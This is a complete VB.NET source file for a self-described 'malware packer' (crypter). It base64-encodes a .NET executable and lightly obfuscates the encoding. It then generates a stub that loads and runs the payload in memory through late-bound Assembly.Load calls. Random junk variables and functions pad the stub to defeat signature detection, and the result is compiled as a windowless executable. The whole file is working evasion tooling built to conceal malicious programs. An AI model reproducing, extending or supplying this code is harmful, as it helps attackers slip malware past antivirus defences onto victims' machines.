Module1.vb

Imports System.CodeDom.Compiler
Imports System.Reflection
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text

Module Module1
    Sub Main()
        Console.WriteLine(" .NET MalwareCryptor :: OpenSource malware packer" & vbCrLf & " https://github.com/DosX-dev/NET-MalwareCryptor" & vbCrLf)

        ' Checking for command line arguments
        If My.Application.CommandLineArgs.Count <> 1 Then
            Console.WriteLine("Invalid number of command line arguments." & vbCrLf & "Usage: ... <file>")
            Exit Sub
        End If

        Dim filePath As String = My.Application.CommandLineArgs(0)

        ' Checking if the specified file exists
        If Not File.Exists(filePath) Then
            Console.WriteLine("The specified file does not exist.")
            Exit Sub
        End If

        ' Loading the file content
        Dim fileBytes As Byte() = File.ReadAllBytes(filePath),
            base64String As String = Convert.ToBase64String(fileBytes)

        ' Getting the assembly name without the extension
        Dim assemblyName As String = Path.GetFileNameWithoutExtension(filePath),
            source As String = "Imports System" & vbCrLf &
                                   "Imports System.Reflection" & vbCrLf &
                                   "Imports Microsoft.VisualBasic.CompilerServices" & vbCrLf &
                                   "Imports System.Runtime.CompilerServices" & vbCrLf &
                                   "Module Program" & vbCrLf &
                                   "Private EP = ""EntryPoint"", INV = ""Invoke"", L = ""Load"" , N = Nothing, T = True, F = False" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "Sub Main()" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "Inject(GetStub(System.Convert.FromBase64String(""" & base64String.Replace("m", "_") & """.Replace(""_"", ""m""))))" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "End Sub" & vbCrLf &
                                   "Sub Inject(payload As Object)" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "NewLateBinding.LateCall(NewLateBinding.LateGet(payload, N, EP, New Object(-1) {}, N, N, N), N, INV, New Object() { N, N }, N, N, N, T)" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "End Sub" & vbCrLf &
                                   "Function GetStub(payload As Object)" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "Dim result = NewLateBinding.LateGet(N, GetType(Assembly), L, New Object() { RuntimeHelpers.GetObjectValue(payload) }, N, N, New Boolean() { T })" & vbCrLf &
                                   GenerateJunkVariables() & vbCrLf &
                                   "Return result" & vbCrLf &
                                   "End Function" & vbCrLf &
                                   GenerateJunkFunctions() & vbCrLf &
                                   "End Module"


        Dim provider As New VBCodeProvider(),
            parameters As New CompilerParameters With {
            .GenerateExecutable = True, ' Generating an executable file (.exe)
            .OutputAssembly = assemblyName & ".crypted.exe", ' Name and path to save the executable file
            .CompilerOptions = "/target:winexe /platform:x86" ' Compiler options to create a 32-bit console-less file
            },
            results As CompilerResults = provider.CompileAssemblyFromSource(parameters, source)

        ' Checking for compilation errors
        If results.Errors.HasErrors Then
            Console.WriteLine("Compilation error:")
            For Each errorItem As CompilerError In results.Errors
                Console.WriteLine($"   {errorItem.Line}: {errorItem.ErrorText}")
            Next
        Else
            Console.WriteLine("Compilation completed successfully. Created executable file '" & parameters.OutputAssembly & "'.")
        End If
    End Sub
    Dim random As New Random()

    Function GenerateJunkFunctions() As String
        Dim result As New StringBuilder()

        For i = 0 To random.Next(100, 200)
            result.AppendLine("Function " & GenerateRandomName() & random.Next(0, 9) & "()" & vbCrLf & "End Function")
        Next
        Return result.ToString()
    End Function

    Function GenerateJunkVariables() As String
        Dim result As New StringBuilder()

        For i = 0 To random.Next(25, 50)
            result.AppendLine("Dim " & GenerateRandomName() & " As Object = " & GetRandomArrayItem({"N", "Nothing", "T", "F", "True", "False", random.Next(-1000, 50000)}))
        Next

        Return result.ToString()
    End Function
    Function GetRandomArrayItem(Of T)(array As T()) As T
        Dim randomIndex As Integer = Random.Next(0, array.Length)
        Return array(randomIndex)
    End Function
    Function GenerateRandomName() As String
        Dim builder As New StringBuilder()

        Using rng As New RNGCryptoServiceProvider()
            Dim bytes(3) As Byte
            rng.GetBytes(bytes)

            For Each b As Byte In bytes
                Dim randomChar As Char = ChrW(b Mod 26 + 97)
                builder.Append(randomChar)
            Next
        End Using

        Return builder.ToString()
    End Function
End Module